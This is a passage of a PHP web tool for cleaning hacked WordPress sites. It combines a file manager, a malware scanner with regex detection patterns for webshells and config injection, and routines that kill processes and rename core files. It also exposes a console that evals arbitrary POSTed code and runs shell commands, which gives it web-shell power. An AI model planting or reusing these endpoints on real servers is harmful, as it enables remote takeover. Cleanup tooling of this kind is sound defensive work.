'..','is_dir'=>true,'size'=>0,'mtime'=>filemtime($parent),'perm'=>substr(sprintf('%o',fileperms($parent)),-4),'path'=>$parent);} $files=@scandir($dir);if(!$files)return $items; $sub=array(); foreach($files as $f){if($f==='.'||$f==='..')continue;$full=$dir.'/'.$f;$sub[]=array('name'=>$f,'is_dir'=>is_dir($full),'size'=>is_file($full)?filesize($full):0,'mtime'=>filemtime($full),'perm'=>substr(sprintf('%o',fileperms($full)),-4),'path'=>$full);} usort($sub,'_aq_dirsort'); return array_merge($items,$sub); } function human_size($n){if($n>1024*1024)return round($n/1024/1024,2).' MB';if($n>1024)return round($n/1024,2).' KB';return $n.' B';} function set_flash($m){$_SESSION['fm_flash']=$m;}function get_flash(){$m=isset($_SESSION['fm_flash'])?$_SESSION['fm_flash']:'';unset($_SESSION['fm_flash']);return $m;} function getWebServerType(){ $sapi=php_sapi_name(); if(in_array($sapi,array('cli','cli-server','phpdbg')))return 'CLI'; if($sapi==='litespeed')return 'LiteSpeed'; if($sapi==='apache2handler')return 'Apache'; $software=strtolower(sv('SERVER_SOFTWARE')); if(strpos($sapi,'fcgi')!==false||strpos($sapi,'fpm')!==false||strpos($sapi,'cgi')!==false){if(strpos($software,'iis')!==false)return 'IIS';return 'Nginx';} if(strpos($software,'nginx')!==false)return 'Nginx'; if(strpos($software,'apache')!==false)return 'Apache'; if(strpos($software,'litespeed')!==false)return 'LiteSpeed'; if(strpos($software,'iis')!==false)return 'IIS'; if(strpos($software,'caddy')!==false)return 'Caddy'; return 'Unknown'; } // ============================================================ // 安全扫描 & 权限修复 辅助函数 // ============================================================ function _aq_scan_suspicious($dir,$depth=0,$maxDepth=5){ $findings=array(); if($depth>$maxDepth)return $findings; $items=@scandir($dir); if(!$items)return $findings; foreach($items as $item){ if($item==='.'||$item==='..')continue; $full=$dir.'/'.$item; // ---- 可疑的隐藏 PHP 文件 / 伪装文件 ---- if(is_file($full)){ $lower=strtolower($item); $ext=strtolower(pathinfo($item,PATHINFO_EXTENSION)); $sz=@filesize($full); // 1) 点开头的 php 文件 (.xxx.php) if($item[0]==='.'&&($ext==='php'||$ext==='phtml'||$ext==='php5'||$ext==='php7'||$ext==='pht')){ $findings[]=array('type'=>'hidden_php','path'=>$full,'reason'=>'Hidden PHP file (dot-prefixed)','risk'=>'high'); } // 2) 随机文件名 (8+ hex chars) $base=pathinfo($item,PATHINFO_FILENAME); if(strlen($base)>=8 && preg_match('/^[a-f0-9]+$/i',$base) && ($ext==='php'||$ext==='phtml')){ $findings[]=array('type'=>'random_name','path'=>$full,'reason'=>'Random hex filename — likely webshell','risk'=>'high'); } // 3) .ico / .jpg / .png 但实际包含 PHP 代码 if(in_array($ext,array('ico','jpg','jpeg','png','gif','bmp','txt','log','html','htm','css'))){ $head=@file_get_contents($full,false,null,0,4096); if($head!==false){ if(preg_match('/<\?php|eval\s*\(|base64_decode\s*\(|gzinflate\s*\(|str_rot13\s*\(|assert\s*\(/i',$head)){ $findings[]=array('type'=>'disguised_php','path'=>$full,'reason'=>'Non-PHP extension contains PHP/eval code','risk'=>'high'); } } } // 4) PHP 文件含高危函数 if($ext==='php'||$ext==='phtml'||$ext==='php5'||$ext==='php7'||$ext==='pht'||$ext==='inc'){ $head=@file_get_contents($full,false,null,0,8192); if($head!==false){ $flags=array(); if(preg_match('/eval\s*\(\s*(\$_|base64_decode|gzinflate|str_rot13|gzuncompress)/i',$head))$flags[]='eval+decode'; if(preg_match('/\b(assert|preg_replace\s*\(\s*["\']\/[^\/]*e["\'])\s*\(/i',$head))$flags[]='assert/preg_e'; if(preg_match('/\$\w+\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)/i',$head))$flags[]='variable_function($_INPUT)'; if(preg_match('/base64_decode\s*\(.*\){5,}/i',$head))$flags[]='nested_decode'; if(preg_match('/\\\\x[0-9a-f]{2}.*\\\\x[0-9a-f]{2}.*\\\\x[0-9a-f]{2}/i',$head))$flags[]='hex_obfuscated'; if(preg_match('/chr\s*\(\s*\d+\s*\)\s*\.\s*chr/i',$head))$flags[]='chr_concat'; if(preg_match('/file_put_contents\s*\(.*\$_(GET|POST|REQUEST|COOKIE)/i',$head))$flags[]='file_write_from_input'; // 监控权限的特征: chmod + inotify / clearstatcache 循环 $wpcore=array('misc.php','file.php','class-wp-filesystem-direct.php','plugin.php','post.php','image.php'); if(!in_array(strtolower($item),$wpcore)&&preg_match('/chmod\s*\(\s*[^,]+,\s*0?[04]{3}\s*\)/i',$head)&&preg_match('/while\s*\(\s*(true|1)|for\s*\(\s*;;|sleep\s*\(|inotify_/i',$head))$flags[]='perm_locker'; if(!empty($flags)){ $findings[]=array('type'=>'malicious_code','path'=>$full,'reason'=>implode(', ',$flags),'risk'=>'high'); } } } // 5) 权限异常的文件 (000, 444, setuid/setgid on php) $perm=@fileperms($full); if($perm!==false){ $oct=decoct($perm & 0777); if(($ext==='php'||$ext==='html'||$ext==='htm')&&($oct==='444'||$oct==='000')){ $findings[]=array('type'=>'locked_perm','path'=>$full,'reason'=>'Permission locked to '.$oct,'risk'=>'medium'); } } } // ---- .user.ini / .htaccess 注入 ---- if(is_file($full)&&($item==='.user.ini'||$item==='.htaccess')){ $content=@file_get_contents($full); if($content!==false){ $dirty=false;$why=array(); if($item==='.user.ini'){ if(preg_match('/auto_prepend_file\s*=/i',$content)){$dirty=true;$why[]='auto_prepend_file';} if(preg_match('/auto_append_file\s*=/i',$content)){$dirty=true;$why[]='auto_append_file';} } if($item==='.htaccess'){ if(preg_match('/php_value\s+auto_prepend_file/i',$content)){$dirty=true;$why[]='php_value auto_prepend_file';} if(preg_match('/php_value\s+auto_append_file/i',$content)){$dirty=true;$why[]='php_value auto_append_file';} // SetHandler 把非 PHP 后缀当 PHP 执行 if(preg_match('/SetHandler\s+.*php/i',$content)&&preg_match('/\.ico|\.jpg|\.png|\.gif|\.txt|\.log/i',$content)){$dirty=true;$why[]='SetHandler routes non-php to php';} } if($dirty){ $findings[]=array('type'=>'config_inject','path'=>$full,'reason'=>implode(', ',$why),'risk'=>'high'); } } } // ---- 可疑的隐藏目录 ---- if(is_dir($full)){ $lower=strtolower($item); // 以点开头但不是 .well-known 的目录含有 php if($item[0]==='.'&&$lower!=='.well-known'&&$lower!=='.git'&&$lower!=='.svn'&&$lower!=='.idea'&&$lower!=='.vscode'){ // 检查里面有没有 php $sub=@scandir($full); if($sub){ foreach($sub as $sf){ if($sf==='.'||$sf==='..')continue; $sext=strtolower(pathinfo($sf,PATHINFO_EXTENSION)); if(in_array($sext,array('php','phtml','php5','php7','pht'))){ $findings[]=array('type'=>'hidden_dir_php','path'=>$full.'/'.$sf,'reason'=>'PHP in hidden directory '.$item.'/','risk'=>'high'); } } } } // 目录权限 000/111 $dperm=@fileperms($full); if($dperm!==false){ $doct=decoct($dperm & 0777); if($doct==='000'||$doct==='111'){ $findings[]=array('type'=>'locked_dir','path'=>$full,'reason'=>'Directory locked to '.$doct,'risk'=>'medium'); } } // recurse $findings=array_merge($findings,_aq_scan_suspicious($full,$depth+1,$maxDepth)); } } return $findings; } function _aq_check_crontab(){ $results=array(); if(!function_exists('exec'))return $results; $out=array();$ret=0; @exec('crontab -l 2>/dev/null',$out,$ret); if($ret===0&&!empty($out)){ foreach($out as $line){ $line=trim($line); if($line===''||$line[0]==='#')continue; if(preg_match('/\.php|curl\s|wget\s|eval|base64/i',$line)){ $results[]=array('type'=>'cron_suspicious','path'=>'crontab','reason'=>$line,'risk'=>'high'); } } } return $results; } $action=req('action','list'); // 下载文件 if($action==='download'){ $dir=safe_real(g('path'));$file=g('file'); if(!$dir||!$file){header('HTTP/1.0 400 Bad Request');echo 'Missing params';exit;} $full=$dir.'/'.basename($file); if(!is_file($full)){header('HTTP/1.0 404 Not Found');echo 'File not found';exit;} header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($full).'"'); header('Content-Length: '.filesize($full)); header('Cache-Control: must-revalidate'); readfile($full); exit; } if(isset($_GET['api'])||isset($_POST['api'])){ if($action==='getfile'&&isset($_GET['fullpath'])){$full=safe_real($_GET['fullpath']);if($full&&is_file($full)){header('Content-Type: text/plain; charset=utf-8');echo file_get_contents($full);exit;}else{http_response_code(404);echo "Not found";exit;}} if($action==='savefile'&&isset($_POST['fullpath'])&&isset($_POST['content'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(array('ok'=>false,'error'=>'invalid path'));if(is_writable($full)||is_writable(dirname($full))){$ok=file_put_contents($full,$_POST['content'])!==false;json_out(array('ok'=>$ok));}else json_out(array('ok'=>false,'error'=>'no write permission'));} if($action==='upload'&&!empty($_FILES)){$results=array();$target=g('target',p('target'));$targetReal=safe_real($target);if(!$targetReal)$targetReal=$target;if($targetReal===''||!is_dir($targetReal))$targetReal=getcwd();foreach($_FILES as $field){if(is_array($field['name'])){for($i=0;$i$name,'ok'=>$ok,'path'=>$full);}}else{$name=basename($field['name']);$tmp=$field['tmp_name'];$full=rtrim($targetReal,'/').'/'.$name;$ok=false;if($tmp&&is_uploaded_file($tmp))$ok=move_uploaded_file($tmp,$full);$results[]=array('name'=>$name,'ok'=>$ok,'path'=>$full);}}json_out(array('ok'=>true,'results'=>$results));} if($action==='delete'&&isset($_POST['fullpath'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(array('ok'=>false,'error'=>'invalid'));if(!file_exists($full))json_out(array('ok'=>false,'error'=>'not exists'));if(is_dir($full)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);foreach($it as $item){$item->isDir()?rmdir($item->getRealPath()):unlink($item->getRealPath());}$ok=rmdir($full);}else $ok=unlink($full);json_out(array('ok'=>$ok));} if($action==='chmod'&&isset($_POST['fullpath'])&&isset($_POST['mode'])){$full=safe_real($_POST['fullpath']);$mode=intval($_POST['mode'],8);$ok=@chmod($full,$mode);json_out(array('ok'=>$ok));} if($action==='mkdir'&&isset($_POST['dirpath'])&&isset($_POST['name'])){$base=safe_real($_POST['dirpath']);if(!$base)$base=$_POST['dirpath'];$name=basename($_POST['name']);$full=rtrim($base,'/').'/'.$name;$ok=@mkdir($full,0755);json_out(array('ok'=>$ok,'path'=>$full));} if($action==='rename'&&isset($_POST['fullpath'])&&isset($_POST['newname'])){$full=safe_real($_POST['fullpath']);$new=basename($_POST['newname']);$to=dirname($full).'/'.$new;$ok=@rename($full,$to);json_out(array('ok'=>$ok,'to'=>$to));} if($action==='gen_htaccess'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath']);if(!$dir)$dir=getcwd();$full=rtrim($dir,'/').'/.htaccess';$content="RewriteEngine On\nRewriteBase /\n\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteRule ^(.*)$ index.php [L]";$ok=@file_put_contents($full,$content)!==false;json_out(array('ok'=>$ok));} if($action==='gen_robots'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath']);if(!$dir)$dir=getcwd();$full=rtrim($dir,'/').'/robots.txt';$https=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'||sv('SERVER_PORT')==443);$protocol=$https?"https://":"http://";$domain=$protocol.sv('HTTP_HOST','localhost');$content="User-agent: *\nAllow: /\nSitemap: {$domain}/sitemap.xml";$ok=@file_put_contents($full,$content)!==false;json_out(array('ok'=>$ok));} // === Create File === if($action==='createfile'&&isset($_POST['dirpath'])&&isset($_POST['filename'])){ $base=safe_real($_POST['dirpath']); if(!$base)$base=$_POST['dirpath']; $name=basename($_POST['filename']); if($name==='')json_out(array('ok'=>false,'error'=>'empty filename')); $full=rtrim($base,'/').'/'.$name; if(file_exists($full))json_out(array('ok'=>false,'error'=>'file already exists')); $content=isset($_POST['content'])?$_POST['content']:''; $ok=@file_put_contents($full,$content)!==false; json_out(array('ok'=>$ok,'path'=>$full)); } // === PHP Console === if($action==='phpconsole'&&isset($_POST['code'])){ $code=$_POST['code']; $output='';$error='';$ok=true; ob_start(); $__prev_err=error_reporting(E_ALL); $__old_handler=set_error_handler('_aq_console_err_handler'); $__start=microtime(true); try{ $ret=eval($code); }catch(Exception $e){ $error='Exception: '.$e->getMessage().' in line '.$e->getLine(); $ok=false; } $__elapsed=round((microtime(true)-$__start)*1000,2); $output=ob_get_clean(); error_reporting($__prev_err); if($__old_handler!==null)set_error_handler($__old_handler); else restore_error_handler(); global $__aq_console_errors; $warnings=''; if(!empty($__aq_console_errors)){ $parts=array(); foreach($__aq_console_errors as $ce){$parts[]=$ce;} $warnings=implode("\n",$parts); } $result=array('ok'=>$ok,'output'=>$output,'error'=>$error,'warnings'=>$warnings,'time'=>$__elapsed.'ms','php_version'=>PHP_VERSION); if($ok && $ret!==null && $ret!==false && $ret!==true && $ret!==1){ $result['return']=print_r($ret,true); } json_out($result); } // === Security Scan === if($action==='security_scan'){ $scanDir=isset($_POST['scandir'])?$_POST['scandir']:''; $scanReal=safe_real($scanDir); if(!$scanReal)$scanReal=$docRoot; if(!$scanReal)$scanReal=getcwd(); $findings=_aq_scan_suspicious($scanReal,0,6); // also check crontab $findings=array_merge($findings,_aq_check_crontab()); json_out(array('ok'=>true,'scan_root'=>$scanReal,'count'=>count($findings),'findings'=>$findings)); } // === Security Fix: batch chmod repair === if($action==='security_fix'&&isset($_POST['fixes'])){ $fixes=json_decode($_POST['fixes'],true); if(!is_array($fixes))json_out(array('ok'=>false,'error'=>'invalid fixes')); $results=array(); foreach($fixes as $fix){ $path=isset($fix['path'])?$fix['path']:''; $act=isset($fix['act'])?$fix['act']:''; $real=safe_real($path); $r=array('path'=>$path,'ok'=>false,'msg'=>''); if(!$real&&$act!=='delete'){$r['msg']='path not found';$results[]=$r;continue;} if($act==='chmod755'){ $ok=@chmod($real,0755);$r['ok']=$ok;$r['msg']=$ok?'chmod 755 done':'chmod failed'; }elseif($act==='chmod644'){ $ok=@chmod($real,0644);$r['ok']=$ok;$r['msg']=$ok?'chmod 644 done':'chmod failed'; }elseif($act==='delete'){ if(!$real){$r['msg']='file not found';$results[]=$r;continue;} if(is_dir($real)){ $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($real,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST); foreach($it as $item){$item->isDir()?@rmdir($item->getRealPath()):@unlink($item->getRealPath());} $ok=@rmdir($real); }else{ $ok=@unlink($real); } $r['ok']=$ok;$r['msg']=$ok?'deleted':'delete failed'; }elseif($act==='clean_config'){ // remove malicious lines from .user.ini / .htaccess if(!$real||!is_file($real)){$r['msg']='not a file';$results[]=$r;continue;} $content=@file_get_contents($real); if($content===false){$r['msg']='cannot read';$results[]=$r;continue;} $orig=$content; // remove auto_prepend/append lines $content=preg_replace('/^\s*(auto_prepend_file|auto_append_file)\s*=.*$/mi','',$content); $content=preg_replace('/^\s*php_value\s+(auto_prepend_file|auto_append_file)\s+.*$/mi','',$content); // remove SetHandler for non-php $content=preg_replace('/^\s*\s*$/msi','',$content); $content=trim($content); if($content!==$orig){ $ok=@file_put_contents($real,$content)!==false; $r['ok']=$ok;$r['msg']=$ok?'cleaned malicious directives':'write failed'; }else{ $r['ok']=true;$r['msg']='no malicious directives found'; } } $results[]=$r; } json_out(array('ok'=>true,'results'=>$results)); } // === Batch permission reset for docroot === if($action==='reset_docroot_perms'){ $root=$docRoot; if(!$root)$root=getcwd(); $log=array(); // fix docroot itself to 755 $ok=@chmod($root,0755); $log[]=array('path'=>$root,'action'=>'chmod 755','ok'=>$ok); // iterate all immediate children $items=@scandir($root); if($items){ foreach($items as $item){ if($item==='.'||$item==='..')continue; $full=$root.'/'.$item; if(is_dir($full)){ $ok=@chmod($full,0755); $log[]=array('path'=>$full,'action'=>'chmod 755','ok'=>$ok); }else{ // files -> 644, except .php -> 644 (NOT 444) $ok=@chmod($full,0644); $log[]=array('path'=>$full,'action'=>'chmod 644','ok'=>$ok); } } } json_out(array('ok'=>true,'root'=>$root,'log'=>$log)); } // === CHAIN BREAKER: 一次请求内按顺序完成 净化htaccess -> 杀木马 -> 解锁权限 === // 已知的正常WP核心php文件白名单(用于从被污染的.htaccess白名单里区分出恶意文件) function _aq_wp_core_whitelist(){ return array('index.php','wp-blog-header.php','wp-config-sample.php','wp-links-opml.php','wp-login.php','wp-settings.php','wp-trackback.php','wp-activate.php','wp-comments-post.php','wp-cron.php','wp-load.php','wp-mail.php','wp-signup.php','xmlrpc.php','edit-form-advanced.php','link-parse-opml.php','ms-sites.php','options-writing.php','themes.php','admin-ajax.php','edit-form-comment.php','link.php','ms-themes.php','plugin-editor.php','admin-footer.php','edit-link-form.php','load-scripts.php','ms-upgrade-network.php','admin-functions.php','edit.php','load-styles.php','ms-users.php','plugins.php','admin-header.php','edit-tag-form.php','media-new.php','my-sites.php','post-new.php','admin.php','edit-tags.php','media.php','nav-menus.php','post.php','admin-post.php','export.php','media-upload.php','network.php','press-this.php','upload.php','async-upload.php','menu-header.php','options-discussion.php','privacy.php','user-edit.php','menu.php','options-general.php','profile.php','user-new.php','moderation.php','options-head.php','revision.php','users.php','custom-background.php','ms-admin.php','options-media.php','setup-config.php','widgets.php','custom-header.php','ms-delete-site.php','options-permalink.php','term.php','customize.php','link-add.php','ms-edit.php','options.php','edit-comments.php','link-manager.php','ms-options.php','options-reading.php'); } // 分析.htaccess白名单里有哪些名字不属于WP核心 => 高度疑似恶意 function _aq_htaccess_suspects($content){ $suspects=array(); $wp=_aq_wp_core_whitelist(); $wpmap=array();foreach($wp as $w){$wpmap[strtolower($w)]=true;} // 抓第二段 Allow 白名单里的所有 xxx.php if(preg_match_all('/([A-Za-z0-9_\-]+\.php)/',$content,$m)){ $seen=array(); foreach($m[1] as $name){ $l=strtolower($name); if(isset($seen[$l]))continue;$seen[$l]=true; if(!isset($wpmap[$l])){$suspects[]=$name;} } } return $suspects; } // 预览: 只分析不动手, 让用户先看清楚将要做什么 if($action==='chain_analyze'){ $root=$docRoot;if(!$root)$root=getcwd(); $out=array('root'=>$root,'htaccess'=>null,'suspect_files'=>array(),'locked'=>array()); $ht=$root.'/.htaccess'; if(is_file($ht)){ $c=@file_get_contents($ht); $suspects=_aq_htaccess_suspects($c); $out['htaccess']=array('exists'=>true,'writable'=>is_writable($ht),'perm'=>substr(sprintf('%o',fileperms($ht)),-4),'suspect_count'=>count($suspects)); // 每个疑似名字在根目录下是否真实存在 foreach($suspects as $name){ $fp=$root.'/'.$name; $out['suspect_files'][]=array('name'=>$name,'exists'=>is_file($fp),'path'=>$fp,'writable'=>is_file($fp)?is_writable($fp):false,'perm'=>is_file($fp)?substr(sprintf('%o',fileperms($fp)),-4):'-'); } }else{ $out['htaccess']=array('exists'=>false); } // 检查index.php锁定情况 $idx=$root.'/index.php'; if(is_file($idx)){ $out['index']=array('perm'=>substr(sprintf('%o',fileperms($idx)),-4),'writable'=>is_writable($idx),'owner'=>function_exists('fileowner')?@fileowner($idx):'?','proc_uid'=>function_exists('posix_getuid')?@posix_getuid():'?'); } json_out(array('ok'=>true,'analyze'=>$out)); } // 执行: 在同一次请求里按 净化->杀->解锁 顺序一口气做完 if($action==='chain_break'){ $root=$docRoot;if(!$root)$root=getcwd(); $log=array(); $addLog=false; // placeholder $extraFiles=isset($_POST['extra_files'])?json_decode($_POST['extra_files'],true):array(); if(!is_array($extraFiles))$extraFiles=array(); // ---------- STEP 1: 备份并净化 .htaccess ---------- $ht=$root.'/.htaccess'; $suspects=array(); if(is_file($ht)){ $orig=@file_get_contents($ht); // 备份 $bak=$ht.'.bak_'.date('YmdHis'); @file_put_contents($bak,$orig); $log[]=array('step'=>1,'path'=>$bak,'action'=>'backup .htaccess','ok'=>is_file($bak)); // 找出恶意白名单文件, 供 step2 删除 $suspects=_aq_htaccess_suspects($orig); // 强行放开权限再写(它可能是444) @chmod($ht,0644); // 写入一个干净的标准WP .htaccess $clean="# BEGIN WordPress\n\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n\n# END WordPress\n"; $w=@file_put_contents($ht,$clean); $log[]=array('step'=>1,'path'=>$ht,'action'=>'rewrite clean .htaccess','ok'=>($w!==false),'msg'=>($w!==false?'已替换为干净规则,原文件已备份':'写入失败-可能属主不是当前用户')); }else{ $log[]=array('step'=>1,'path'=>$ht,'action'=>'rewrite .htaccess','ok'=>false,'msg'=>'.htaccess 不存在,跳过'); } // ---------- STEP 2: 删除木马文件(先删执行体,断掉锁权限的链) ---------- // 2a. .htaccess白名单里的非WP文件 $killList=array(); foreach($suspects as $name){$fp=$root.'/'.$name;if(is_file($fp))$killList[$fp]=true;} // 2b. 用户在前端勾选的额外文件(扫描发现的木马) foreach($extraFiles as $fp){$rp=safe_real($fp);if($rp&&is_file($rp))$killList[$rp]=true;} foreach(array_keys($killList) as $fp){ @chmod($fp,0644); // 先解锁再删 $ok=@unlink($fp); $log[]=array('step'=>2,'path'=>$fp,'action'=>'delete malware','ok'=>$ok,'msg'=>$ok?'已删除':'删除失败-属主可能不同或已被锁'); } // ---------- STEP 3: 此刻木马已死,解锁被锁定的核心文件权限 ---------- $targets=array($root.'/index.php',$root.'/wp-config.php',$root.'/wp-load.php',$root.'/wp-settings.php',$root.'/.htaccess'); foreach($targets as $t){ if(is_file($t)){ $before=substr(sprintf('%o',fileperms($t)),-4); $ok=@chmod($t,0644); $after=substr(sprintf('%o',fileperms($t)),-4); $log[]=array('step'=>3,'path'=>$t,'action'=>'unlock 644','ok'=>$ok,'msg'=>$before.' -> '.$after); } } // 根目录本身 755 @chmod($root,0755); $log[]=array('step'=>3,'path'=>$root,'action'=>'docroot 755','ok'=>true,'msg'=>''); // ---------- STEP 4: 复验 index.php 是否还在被锁 ---------- $idx=$root.'/index.php'; $verify=null; if(is_file($idx)){ clearstatcache(); $verify=array('perm'=>substr(sprintf('%o',fileperms($idx)),-4),'writable'=>is_writable($idx)); } json_out(array('ok'=>true,'root'=>$root,'suspects_from_htaccess'=>count($suspects),'log'=>$log,'verify'=>$verify)); } // === CHAIN ISOLATE v2: 杀进程→改名断链→强制chmod→改回来→复验循环 === // 强制chmod辅助: 先试PHP chmod, 不行就exec chmod, 再不行试chown function _aq_force_chmod($path,$mode,$log_label=''){ $modeStr=sprintf('%o',$mode); // 清除stat缓存 clearstatcache(true,$path); // 方法1: PHP原生chmod $ok=@chmod($path,$mode); clearstatcache(true,$path); $actual=decoct(@fileperms($path) & 0777); if($actual===$modeStr) return array('ok'=>true,'method'=>'php chmod','before'=>'','after'=>$actual); // 方法2: exec chmod (shell层面) if(function_exists('exec')){ @exec('chmod '.$modeStr.' '.escapeshellarg($path).' 2>&1',$out,$ret); clearstatcache(true,$path); $actual=decoct(@fileperms($path) & 0777); if($actual===$modeStr) return array('ok'=>true,'method'=>'exec chmod','before'=>'','after'=>$actual); } // 方法3: system() if(function_exists('system')){ @system('chmod '.$modeStr.' '.escapeshellarg($path).' 2>&1'); clearstatcache(true,$path); $actual=decoct(@fileperms($path) & 0777); if($actual===$modeStr) return array('ok'=>true,'method'=>'system chmod','before'=>'','after'=>$actual); } // 方法4: shell_exec() if(function_exists('shell_exec')){ @shell_exec('chmod '.$modeStr.' '.escapeshellarg($path).' 2>/dev/null'); clearstatcache(true,$path); $actual=decoct(@fileperms($path) & 0777); if($actual===$modeStr) return array('ok'=>true,'method'=>'shell_exec chmod','before'=>'','after'=>$actual); } return array('ok'=>false,'method'=>'all failed','before'=>'','after'=>$actual); } // 杀掉当前用户的所有其他PHP进程(木马监控脚本) function _aq_kill_php_watchers(){ $killed=array(); if(!function_exists('exec'))return array('ok'=>false,'msg'=>'exec disabled','killed'=>$killed); $myPid=getmypid(); $out=array();$ret=0; // 找到所有PHP进程(包括php-fpm worker) @exec('ps aux 2>/dev/null | grep -i php | grep -v grep',$out,$ret); // 也查inotifywait等监控进程 $out2=array(); @exec('ps aux 2>/dev/null | grep -i inotify | grep -v grep',$out2,$ret); $out=array_merge($out,$out2); // 获取当前用户 $me=''; if(function_exists('posix_getuid')){ $info=@posix_getpwuid(posix_getuid()); if($info)$me=$info['name']; } if(!$me)$me=@getenv('USER'); foreach($out as $line){ $parts=preg_split('/\s+/',trim($line)); if(count($parts)<2)continue; $user=$parts[0];$pid=intval($parts[1]); if($pid===$myPid||$pid<=1)continue; // 只杀自己用户的进程,或者如果检测不到用户就跳过避免误杀 if($me&&$user!==$me)continue; // 检查是否有可疑的命令行(包含chmod, inotify, while, 或很长的base64) $cmdline=implode(' ',array_slice($parts,10)); $suspicious=false; if(preg_match('/inotify/i',$cmdline))$suspicious=true; if(preg_match('/chmod.*0?[04]{3}/i',$cmdline))$suspicious=true; if(preg_match('/while\s*.*chmod|chmod.*while/i',$cmdline))$suspicious=true; if(preg_match('/watch|monitor|lock.*perm/i',$cmdline))$suspicious=true; // 不要杀自己和明确的正常进程(php-fpm master等) if($suspicious){ @exec('kill -9 '.$pid.' 2>/dev/null'); $killed[]=array('pid'=>$pid,'cmd'=>substr($cmdline,0,120)); } } // 也尝试直接杀用户的所有inotifywait进程 @exec('killall -9 inotifywait 2>/dev/null'); return array('ok'=>true,'msg'=>'scanned','killed'=>$killed,'my_pid'=>$myPid); } if($action==='chain_isolate'){ // ============================================================ // v3 纯断链模式:改名所有WP入口 + wp-content/wp-includes // 不改权限,不恢复,让WP彻底停机,木马无法通过任何入口触发 // ============================================================ $root=$docRoot;if(!$root)$root=getcwd(); $log=array(); // 断链目标:改名所有 WP 官方根目录 PHP 文件 + wp-content/wp-includes 目录 // 入口文件(改名后WP完全无法启动;木马也无法通过这些WP入口触发) // 注意:只封WP官方的根目录PHP,其他PHP文件(可能是用户后门)一律不动 // 不封:wp-config.php / wp-config-sample.php / wp-load.php (用户已动过) $entryFiles=array( 'index.php' => 'index.php.locked', 'wp-login.php' => 'wp-login.php.locked', 'wp-cron.php' => 'wp-cron.php.locked', 'xmlrpc.php' => 'xmlrpc.php.locked', 'wp-activate.php' => 'wp-activate.php.locked', 'wp-blog-header.php' => 'wp-blog-header.php.locked', 'wp-comments-post.php' => 'wp-comments-post.php.locked', 'wp-links-opml.php' => 'wp-links-opml.php.locked', 'wp-mail.php' => 'wp-mail.php.locked', 'wp-settings.php' => 'wp-settings.php.locked', 'wp-signup.php' => 'wp-signup.php.locked', 'wp-trackback.php' => 'wp-trackback.php.locked', ); // 目录(木马窝) $entryDirs=array( 'wp-content' => 'wp-content1', 'wp-includes' => 'wp-includes1', ); // === STEP 1: 杀掉可能的监控进程,防止改名过程被干扰 === $killResult=_aq_kill_php_watchers(); $log[]=array('step'=>0,'path'=>'process','action'=>'kill watchers','ok'=>true, 'msg'=>'killed '.count($killResult['killed']).' suspicious processes'); // === STEP 2: 尝试解锁根目录权限以便rename === // (不改成755保留,只是临时解锁让rename能跑;结束后不动权限) clearstatcache(true); $rootPermBefore=decoct(@fileperms($root)&0777); if($rootPermBefore!=='755'&&$rootPermBefore!=='777'){ _aq_force_chmod($root,0755); clearstatcache(true,$root); } // === STEP 3: 改名所有入口文件 === foreach($entryFiles as $orig=>$locked){ $src=$root.'/'.$orig; $dst=$root.'/'.$locked; if(!file_exists($src)){ $log[]=array('step'=>1,'path'=>$orig,'action'=>'skip','ok'=>true,'msg'=>'文件不存在'); continue; } // 如果目标已存在(之前跑过),先删掉 if(file_exists($dst)){ @unlink($dst); if(file_exists($dst)&&function_exists('exec')){ @exec('rm -f '.escapeshellarg($dst).' 2>&1'); } } // 尝试PHP rename $ok=@rename($src,$dst); // 失败降级shell mv if(!$ok&&function_exists('exec')){ @exec('mv '.escapeshellarg($src).' '.escapeshellarg($dst).' 2>&1',$mvOut,$mvRet); clearstatcache(true); $ok=(file_exists($dst)&&!file_exists($src)); } $log[]=array('step'=>1,'path'=>$orig,'action'=>'rename → '.$locked,'ok'=>$ok, 'msg'=>$ok?'入口已封':'改名失败 - 可能属主不同,需SSH'); } // === STEP 4: 改名 wp-content / wp-includes === foreach($entryDirs as $orig=>$locked){ $src=$root.'/'.$orig; $dst=$root.'/'.$locked; if(!is_dir($src)){ $log[]=array('step'=>2,'path'=>$orig,'action'=>'skip','ok'=>true,'msg'=>'目录不存在'); continue; } if(is_dir($dst)){ // 目标已存在,说明之前已经断过链,跳过 $log[]=array('step'=>2,'path'=>$orig,'action'=>'already locked','ok'=>true, 'msg'=>$locked.' 已存在,跳过'); continue; } _aq_force_chmod($src,0755); $ok=@rename($src,$dst); if(!$ok&&function_exists('exec')){ @exec('mv '.escapeshellarg($src).' '.escapeshellarg($dst).' 2>&1',$mvOut2,$mvRet2); clearstatcache(true); $ok=(is_dir($dst)&&!is_dir($src)); } $log[]=array('step'=>2,'path'=>$orig,'action'=>'rename → '.$locked,'ok'=>$ok, 'msg'=>$ok?'目录已隔离':'改名失败'); } // === STEP 5: 备份并清空 .htaccess(防止 auto_prepend_file / rewrite 加载木马) === $ht=$root.'/.htaccess'; $htBak=$root.'/.htaccess.locked'; if(file_exists($ht)){ // 备份 if(!file_exists($htBak)){ $htContent=@file_get_contents($ht); if($htContent!==false){ @file_put_contents($htBak,$htContent); } } // 清空(改成空文件而非删除,保持文件存在避免404规则冲突) _aq_force_chmod($ht,0644); $wOk=@file_put_contents($ht,"# locked by isolate v3\n"); if($wOk===false&&function_exists('exec')){ @exec('echo "# locked" > '.escapeshellarg($ht).' 2>&1'); $wOk=(filesize($ht)<200); } $log[]=array('step'=>3,'path'=>'.htaccess','action'=>'clear + backup','ok'=>($wOk!==false), 'msg'=>$wOk!==false?'已清空(备份到 